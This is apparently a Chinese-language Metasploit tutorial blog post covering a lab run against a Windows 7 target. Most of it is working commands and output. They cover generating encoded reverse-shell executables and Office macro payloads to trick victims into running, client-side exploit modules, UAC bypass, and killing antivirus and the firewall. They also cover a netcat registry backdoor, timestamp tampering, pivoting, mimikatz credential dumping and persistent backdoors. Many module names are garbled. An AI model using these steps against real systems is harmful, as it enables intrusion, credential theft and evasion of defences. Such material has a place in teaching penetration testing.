openvas:load openvas此處爲命令行格式;導入nbe格式掃描日誌;dbimport openvas.nbe nessus: msf5 > load nessus msf5 > nessushelp msf5 > nessus_connect nessus:nessus@127.0.0.1//進行鏈接 查看已有策略

msf5 > nessus_policy_list 
Policy ID  Name             Policy UUID
---------  ----             -----------
7          linux_vuln_scan  ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66

建立掃描任務msf5 > nessusscannew ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 scan1 scan1 192.168.214.148 執行掃描任務:nessusscanlaunch scan-id 查看報告:nessusreportlist

MSF客戶端滲透

在沒法突破網絡便捷餓的狀況下轉而攻擊客戶端 - 社會工程學攻擊 - 進而滲透線上業務網絡 - 含有漏洞代碼的web站點 - - 利用客戶端漏洞 含有漏洞利用代碼的DOC,PDF等文檔 誘騙被害者執行payload:

1. root@kali:/etc/init.d# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.214.150 LPORT=4444 -b '\x00' -e x86/shikata_ga_nai -i 9 -f exe -o 2.exe
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai chosen with final size 584
Payload size: 584 bytes
Final size of exe file: 73802 bytes
Saved as: 2.exe


2. root@kali:~# cp 2.exe /var/www/html/
//拷貝到網站目錄下
3. root@kali:~# service apache2 start
 
4. windows上訪問http://192.168.214.150/2.exe

5. window上執行

6.  msf5 > use exploit/multi/handler //msf上使用這個模塊

7. msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp//添加這個payload

8. msf5 exploit(multi/handler) > set lHOST 192.168.214.150//設置爲本機地址,即shell反彈到咱們的kali上

9. 獲取到shell msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.214.150:4444 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.214.132
[*] Command shell session 1 opened (192.168.214.150:4444 -> 192.168.214.132:49524) at 2020-02-29 21:16:56 +0800



C:\Users\root\Desktop>ipconfig

利用Acrobat Reader漏洞執行payload:
msf5 > use exploit/windows/fileformat/adobeutilprintf
set payload windows/meterpreter/reverse
tcp
生成一個payload 切換到use exploit/multi/handler
使用payload:set payload windows/meterpreter/reversetc
使用post模塊記錄:run post/windows/capture/keylogrecoder
利用FLASH插件漏洞執行payload:use exploit/multi/browser/ adobe
flash
hackingteamvaf;use exploit/multi/browser/ adobe_flashopaquebackgrounduaf;use auxiliary/server/ browserautopwn2
利用IE瀏覽器漏洞執行payload:use exploitwindows/browser/ ms14
064
olecodeexcution

利用jre漏洞執行payload

use exploit/multi/browser/javajre17drivermanager
use exploit/multi/browser/javajre17jmxbean
use exploit/multi/browser/java
jre17reflectiontypes

生成android後門程序

use payload/android/meterpreter/reverse_tcp

VBScript感染方式

利用宏感染word,excel文檔,繞過某些基於文件類型檢查的安全機制,生成vvbscript腳本:msfvenom -a x86 --platform windows -p windows/meterpreter/reversetcp LHOST=192.168.214.150 LPORT=4444 -e x86/shikataganai -f vba-exe而後在office當中建立宏,MSF啓動偵聽:use exploit/multi/handler;set payload windows/meterpreter/reversetcp

metesploit後滲透測試階段

已經得到目標系統控制權後擴大戰果:
提權;信息蒐集;滲透內網;永久後門
基於已有session擴大戰果:msfvenom -a x86 --platform windows -p windows/meterpreter/reversetcp LHOST=192.168.214.150 LPORT=4444 -e x86/shikataga_nai -f exe -o 1.exe

進一步獲取system權限

能夠看到咱們如今是沒有system權限的,由於UAC 限制。

meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > load priv
[-] The 'priv' extension has already been loaded.

繞過UAC限制方法1
1. 使用模塊 use exploit/windows/local/ask //基於已有session狀況下
2. set payload windows/meterpreter/reverse_tcp //設置payload
3. set lhost 192.168.214.150 //設置偵聽
4. set filename qq.exe //設置執行的文件名稱(具備必定欺騙性)
5. set session 1 //設置session
6. 此時咱們得到的新的session已經通過了UAC容許的meterpreter的shell

  
meterpreter > getsystem   
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

繞過UAC限制方法2: 1. 使用模塊 use exploit/windows/local/bypassuac 2. set session 1 3. set payload windows/meterpreter/reversetcp 4. set lhost 192.168.214.150 5. exploit 此時不會像方法1同樣彈出請求而自動得到system。 繞過UAC限制方法3: 1. use exploit/windows/local/bypassuacinjection 2. set payload windows/meterpreter/reverse_tcp 3. set session 1 4. set lhost 192.168.214.150 5. exploit

利用漏洞提高權限
  1. msf5 > use exploit/windows/local/ms13053schlamperei
  2. msf5 > use exploit/windows/local/ms13081trackpopupmenu
  3. msf5 > use exploit/windows/local/ms12097ieregistrysymlink
  4. use exploit/windows/local/pprflattenrec
Psexec模塊之PASSTHEHASH

獲取了system權限後得到了帳號和密碼以及hash值咱們可使用如下模塊 use exploit/windows/smb/psexec set smbpass hash 但咱們須要提早關閉UAC,進入到操做系統而後修改註冊表關閉UAC,不然沒法登錄成功。

關閉防火牆
  • 須要管理員或system權限
  • 進入到powershell下執行:netsh advfirewall set allprofiles state on
關閉windefend
  • net stop windefend
Bitlocker磁盤加密
  • manage-bde -off C;
  • manage-bde -status C ;//查看狀態
關閉DEP
  • bcdedit.exe /set {current} nx AlwaysOff
殺死防病毒軟件

在meterpreter下執行:run killav run post/windows/manage/killav

開啓遠程桌面服務

在meterpreter下執行:run post/windows/manage/enable_rdp - run getgui -e - run getgui -u username -p pass

查看遠程桌面
  • screenshot
  • use espia//加載插件
  • screengrab截屏
Tokens

用戶每次登錄,帳號綁定臨時的token
訪問資源時提交Token進行身份驗證
- Delegate Tokem:交互登陸會話
- impersonate Token:非交互登陸會話
- Delegate Token帳號註銷後變爲impersonate Token權限依然有效//這樣咱們能夠得到管理員的token

Incognito

獨立功能軟件,被MSF集成在meterpreter中
無需密碼破解或獲取密碼HASH,竊取token將本身假裝成其餘用戶
尤爲適用於域環境下提權滲透多操做系統
load incognito
- listtokens -u //查看當前用戶
- impersonate
token_lab\administrator
- 運行以上命令須要getsystem
- 本地普通權限用戶需先本地提權
- use exploit/windows/loacl/ms10015kitrap0d - execute -f cmd.exe -i -t //-t 使用當前假冒token執行程序
- shell //添加新用戶net user a a /add

註冊表

註冊表保存着windows幾乎所有配置參數
- 修改不當,能夠直接形成系統崩潰
- 些改簽完整備份註冊表
- 某些註冊表的修改是不可逆的
常見用途:修改,增長啓動項
- 竊取存於註冊表中的機密信息
- 繞過文件型病毒查殺
upload /usr/share/windows-binaries/nc.exe C:\windows\system32
reg enumkey -k //枚舉當前註冊表中內容
HKLM\software\microsoft\windows\currentversion\run
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' //-v 插入的名字 -d:放入的指令數據 -e執行cmd ,-d 靜默執行 ,-L 偵聽端口,有人來連,就把cmd交出,斷開後端口依然偵聽
reg queryval -k
HKLM\software\microsoft\windows\currentversion\run -v nc //查詢一下,驗證子健是否被插入成功

打開防火牆端口&改變防火牆策略的(meterpreter)
  • execute -f cmd -i -H //-h隱蔽的方式,-i 彈出cmd
  • netsh firewall show opmode //查看防火牆狀態
  • net frrewall add portopening TCP 444 "策略名" ENABLE ALL
  • 重啓以執行nc策略shutdown -r -f -t 0
信息蒐集

抓包(meterpreter):load sniffer;sniffer——interfaces;snifferstart2;snifferdump 1.cap;在內存中個緩衝區循環存儲抓包,不寫硬盤;只能過濾meterpreter流量;全程使用ssl/tls加密。
解碼:use auxiliary/sniffer/psnuffle;set PCAPFILE 1.cap

文件蒐集

搜索文件:search -f *.ini //搜索全部ini類型文件

破解弱口令

use post/windows/gather/hashdump ##須要system權限 run //結果保存在/tmp目錄下 use auxiliary/analyze/jtrcrackfast stat 1.txt;touch -d 「5 days ago」 1.txt 對文件時間進行修改

root@kali:~# stat 3.txt 
  文件:3.txt
  大小:37              塊:8          IO 塊:4096   普通文件
設備:801h/2049d        Inode:1979841     硬連接:1
權限:(0644/-rw-r--r--)  Uid:(    0/    root)   Gid:(    0/    root)
最近訪問:2020-02-28 16:37:50.186301464 +0800
最近更改:2020-02-28 16:37:36.594301326 +0800
最近改動:2020-02-28 16:37:36.594301326 +0800
建立時間:-
root@kali:~# touch -d "2 days ago" 3.txt 
root@kali:~# stat 3.txt 
  文件:3.txt
  大小:37              塊:8          IO 塊:4096   普通文件
設備:801h/2049d        Inode:1979841     硬連接:1
權限:(0644/-rw-r--r--)  Uid:(    0/    root)   Gid:(    0/    root)
最近訪問:2020-02-29 16:21:23.819854388 +0800
最近更改:2020-02-29 16:21:23.819854388 +0800
最近改動:2020-03-02 16:21:23.814019733 +0800
建立時間:-

MACE:MTF entry - MTF:NTFS文件系統的主文件分配表master file table,包含文件大量信息,更多信息可研究,文件系統取證分析技術。 - modified,accessed,created,entry modified時間都是能夠修改的:timestomp -m/-a/-c/-e/-z "時間點" 文件名 - timestomp-z "month/days/year hour:min:sec" 文件名

pivoting跳板/支點/樞紐

利用已經控制的一臺計算機做爲入侵內網的跳板
在其讓內網計算機看來訪問所有來自於跳板機。
在國內不少時候咱們是沒有本身的外部ip的,通常咱們的請求都會先返回哦給咱們的外部設備而後再經過流量映射返回給咱們內部網段。
1. msfconsole -p windows/meterpreter/reversetcp LHOST=外部防火牆ip地址 LPORT=4444外部端口 -a x86 --platform windows -b"\x00\xff" -e x86/shikataganai -f exe -o a.exe
2. kali上使用模塊use exploit/multi/handler,set payload windows/meterpreter/reverse
tcp,set lhost 192.168.214.150//設置爲msf本機,即kali上
3. 此時咱們控制了內網機器win7,咱們開始向xp發起攻擊。
4. run autoroute -s 目標網段IP地址 //添加路由,基於這個session跳板,想要去這個網段就基於當前的session。
5. 掃描內網網段:use auxiliary/scanner/portscan/tcp ,掃描網段的139,445端口
6. 對內網機器發現後攻擊,此時偵聽地址爲內網的win7地址,進行攻擊,獲取shell。

pivoting之端口轉發portfwd

利用已經被控計算機,在kali與攻擊目標之間實現端口轉發
- portfwd add -L LIP//本地kali偵聽ip -L LPORT -r RIP//遠程的要攻擊的機器 -p RPORT
- portfwd list/delete/flush

set exitonsession false

咱們得到了shell後通常狀況下想再得到一個session要重複exploit,但咱們使用set exitonsession false就能夠持續不斷的進行偵聽。

POST模塊

發生在咱們得到一臺機器的控制權以後 run post/windows/gather/arpscanner RHOSTS=1.1.1.0/24 //內網進行arp方式的掃描
run post/windows/gather/chexkvm //發現是不是一臺虛擬機
run post/windows/gather/credentials/credential
collector //身份驗證信息
run post/windows/gather/enumapplication //查看安裝軟件信息
run post/windows/gather/enumsnmp //查看目標機器snmp相關配置
run post/windows/gather/enum
logged
onusers //當前登陸哦用戶
run post/windows/gather/env //瞭解當前系統變量環境信息
run post/multi/recon/local
exploit_suggester //檢查本地提權的漏洞,從而進行提權
run post/windows/manage/deleteuser USERNAME=yuanfh //刪除帳號
run post/windows/gather/firefox
creds //獲取火狐帳號密碼信息
migrate -n 指定文件名 //遷移到指定文件
自動遷移:在handler模塊當中咱們能夠:set autorunscript migrate -N 文件名
set AutoRunScript post/windows/gather/dumplinks 收集當前用戶信息,注意必定要在目標用戶的進程下 這個時候咱們可使用Initialautorunscript模塊自動運行腳本:
set Initialautorunscript migrate -n explorer.exe
set AutoRunScript post/windows/gather/dumplinks
自動執行meterpreter腳本,自動執行post模塊
run hostsedit -e 1.1.1.1 www.baidu.com //狀況dns的緩存修改目標機器的訪問固定網站的ip

持久後門

利用漏洞取得的meterpreter shell運行在內存當中,重啓就會失效。
重複exploit漏洞可能形成服務崩潰
持久後門保證漏洞修復後讓能夠遠程控制
run metsvc -A

meterpreter > run metsvc -A  

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\root\AppData\Local\Temp\sLERVzBi...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
         * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

直接鏈接會被拒絕
root@kali:~# nc 192.168.214.132 31337
Ncat: Connection reset by peer.
退回來使用模塊:set payload windows/metsvcbindtcp
配置後使用exploit

持久後門2

run persistence
-X //meterpreter的agent程序在操做系統重啓時繼續鏈接
使用默認shell爲反彈shell
-r 反彈鏈接ip即kali的ip
Server username: NT AUTHORITY\SYSTEM
meterpreter > run persistence -X -r 192.168.214.150 -p 4444 -i 5
//-i延遲幾秒
此時當咱們的win7靶機進行重啓,當咱們exploit後依然得到了shell

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.214.150:4444 
[*] Sending stage (180291 bytes) to 192.168.214.132
[*] Meterpreter session 7 opened (192.168.214.150:4444 -> 192.168.214.132:49160) at 2020-03-03 16:40:51 +0800
msf之mimikatz

meterpreter > load mimikatz
meterpreter > help
meterpreter > msv 獲取的是hash值
meterpreter > ssp 獲取的是明文信息 meterpreter > wdigest 讀取內存中存放的帳號密碼明文信息
meterpreter > kerberos
meterpreter > mimikatzcommand -f a:: 輸入一個錯誤的模塊,能夠列出全部模塊 meterpreter > mimikatzcommand -f samdump:: 能夠列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatzcommand -f handle::list 列出應用進程
meterpreter > mimikatz
command -f service::list 列出服務

RFI遠程文件包含
  • use exploit/unix/webapp/php_include
  • set RHOST 192.168.214.111
  • set PATH /dvwa/vulnerabilities/fi/
  • set PHPURI/?page=XXpathXX //此處就默認XXpathXX便可,這是默認的,msf會爲咱們分配一個地址
  • set HEADERS "Cookie"
  • set payload php/meterpreter/reverse_tcp
  • set lhost 1.1.1.1
  • exploit
相關文章
相關標籤/搜索